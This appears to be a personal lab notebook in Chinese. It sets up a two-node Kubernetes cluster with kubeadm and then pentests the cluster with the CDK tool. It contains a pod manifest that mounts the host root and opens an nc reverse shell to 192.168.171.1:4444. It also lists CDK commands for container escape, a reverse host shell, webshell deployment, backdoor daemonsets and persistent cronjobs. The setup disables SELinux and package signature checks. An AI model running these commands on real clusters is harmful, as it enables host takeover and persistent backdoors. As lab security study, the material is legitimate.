0.结构

一个master节点、一个node节点

1. centos安装docker环境

yum erase podman buildah
sudo yum install -y yum-utils \
device-mapper-persistent-data \
lvm2
sudo yum-config-manager \
    --add-repo \
    https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/centos/docker-ce.repo
sudo yum install docker-ce docker-ce-cli containerd.io
systemctl enable docker

2. 安装kubeadm

kubeadm是k8s社区发布的一款一键部署工具。

#添加源
cat > /etc/yum.repos.d/kubernetes.repo << EOF

[kubernetes]

name=Kubernetes

baseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64

enabled=1

gpgcheck=0

repo_gpgcheck=0

gpgkey=https://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg https://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpg

EOF

#安装
sudo setenforce 0
sudo sed -i 's/^SELINUX=enforcing$/SELINUX=permissive/' /etc/selinux/config
yum install -y kubelet-1.20.0 kubeadm-1.20.0 kubectl-1.20.0

kubeadm用来构建k8s集群，kubectl用来管理k8s集群，kubelet用来在集群中的每个节点上用来启动 Pod 和容器等。

安装kubeadm
kubectl命令官方文档

3. 更改配置文件：

修改/etc/default/grub文件，在配置项GRUB_CMDLINE_LINUX中添加如下参数：

GRUB_CMDLINE_LINUX=" cgroup_enable=memory swapaccount=1"

---

添加 /etc/docker/daemon.json文件：

cat > /etc/docker/daemon.json <<EOF

{

 "registry-mirrors": ["https://6ze43vnb.mirror.aliyuncs.com"],

 "exec-opts": ["native.cgroupdriver=systemd"],

 "log-driver": "json-file",

 "log-opts": {

   "max-size": "100m"

 },

 "storage-driver": "overlay2"

}

EOF

systemctl restart docker
docker info | grep Cgroup

---

swapoff -a

sed -ri 's/.*swap.*/#&/' /etc/fstab
reboot

4. 搭建master节点

在Kubernetes中Master节点是集群的控制节点，它是由三个紧密协作的独立组件组合而成，分别是负责API服务的kube-apiserver、负责调度的kube-scheduler以及负责容器编排的kube-controller-manager，其中整个集群的持久化数据由kube-apiserver处理后保存在Etcd中。

cat >> /etc/hosts << EOF
192.168.171.141 k8s-master
192.168.171.144 k8s-node1

systemctl enable kubelet.service
systemctl start kubelet.service
systemctl enable kube-proxy.service
systemctl start kube-proxy.service
systemctl start docker & systemctl enable docker


kubeadm init \
  --apiserver-advertise-address=192.168.171.141 \
  --image-repository registry.aliyuncs.com/google_containers \
  --kubernetes-version v1.18.0 \
  --service-cidr=10.96.0.0/12 \
  --pod-network-cidr=10.244.0.0/16

5. 创建nodes节点并加入master

#在master节点执行
kubeadm token create --print-join-command

#在nodes节点执行
swapoff -a

systemctl enable kubelet.service
systemctl start kubelet.service
systemctl enable kube-proxy.service
systemctl start kube-proxy.service
systemctl start docker & systemctl enable docker

kubeadm join 192.168.171.141:6443 --token yex4jo.1l3v4oxhprgqwac2     --discovery-token-ca-cert-hash sha256:824bddca9997d8a4f3bb3822f87c310a1dcb2bf4f8be2054a076b70fbfbd682d 

6. 创建一个pod

apiVersion: v1
kind: Pod
metadata:
  name: test
spec:
  containers:
  - name: busybox
    image: busybox:1.29.2
    command: ["/bin/sh"]
    args: ["-c", "nc 192.168.171.1 4444 -e /bin/sh"]
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

kubectl create -f 1.yaml

---

快速创建一个pod：

kubectl run nginx-deploy --image=nginx:1.14-alpine --port=80 --replicas=1  --record
kubectl exec -it pod/nginx-deploy /bin/sh

7. 进入pod

kubectl exec -ti pod/test  /bin/sh

8. 删除pod

kubectl delete pod/my-nginx pod/test

9. 使用cdk进行渗透测试

https://paper.seebug.org/1474/
工具用法

1. 上传cdk

#攻击者机器
nc -l 999<cdk
#被攻击机器
nc 攻击者ip:端口 > cdk
chmod 777 cdk

2. 使用cdk进行脆弱点探测

./cdk evaluate --full

3. 攻击模块

#自动调用逃逸模块
./cdk auto-escape
#反弹宿主机shell
./cdk run shim-pwn reverse  192.168.171.1 4444 
#在指定的images中执行命令
./cdk run k8s-cronjob min 
#写webshell
./cdk run webshell-deploy php /tmp/shell.php
#使用docker.sock进行逃逸
./cdk run docker-sock-deploy /var/run/docker.sock alpine:latest
#部署K8s shadow apiserver
./cdk run k8s-shadow-apiserver default
#将指定的后门镜像部署到每一个node
./cdk run k8s-backdoor-daemonset default ubuntu
#部署K8s CronJob定时创建用户指定的image并运行cmd。
./cdk run k8s-cronjob default min alpine "echo hellow;echo cronjob"

4. 工具模块

./cdk ifconfig
./cdk nc
./cdk ps
#端口扫描
./cdk probe 10.0.1.0-255 80,8080-9443 50 1000

参考文章

https://www.cnblogs.com/xuweiweiwoaini/p/13884112.html